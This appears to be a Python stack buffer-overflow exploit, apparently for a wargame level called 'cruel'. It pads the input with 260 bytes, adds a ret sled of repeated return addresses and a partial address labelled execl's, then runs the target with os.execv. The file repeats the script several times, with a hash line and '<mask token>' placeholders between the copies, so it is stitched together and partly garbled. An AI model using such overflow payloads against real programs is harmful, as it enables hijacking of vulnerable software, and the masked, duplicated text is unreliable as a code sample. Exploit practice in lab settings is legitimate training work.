import os
from struct import *

target = "/home/dark_stone/cruel"

payload = ""
payload += "A"*260
payload += "\x51\x84\x04\x08" * 7 # ret sled
payload += "\x68\x2d\x83" # execl's address

os.execv(target, [target, payload])

fdcc3e87b79171e59441e65767bd6e26d8ed8885
<mask token>

<mask token>
payload += 'A' * 260
payload += 'Q\x84\x04\x08' * 7
payload += 'h-\x83'
os.execv(target, [target, payload])

<mask token>
target = '/home/dark_stone/cruel'
payload = ''
payload += 'A' * 260
payload += 'Q\x84\x04\x08' * 7
payload += 'h-\x83'
os.execv(target, [target, payload])

import os
from struct import *
target = '/home/dark_stone/cruel'
payload = ''
payload += 'A' * 260
payload += 'Q\x84\x04\x08' * 7
payload += 'h-\x83'
os.execv(target, [target, payload])

import os
from struct import *

target = "/home/dark_stone/cruel"

payload = ""
payload += "A"*260
payload += "\x51\x84\x04\x08" * 7 # ret sled
payload += "\x68\x2d\x83" # execl's address

os.execv(target, [target, payload])
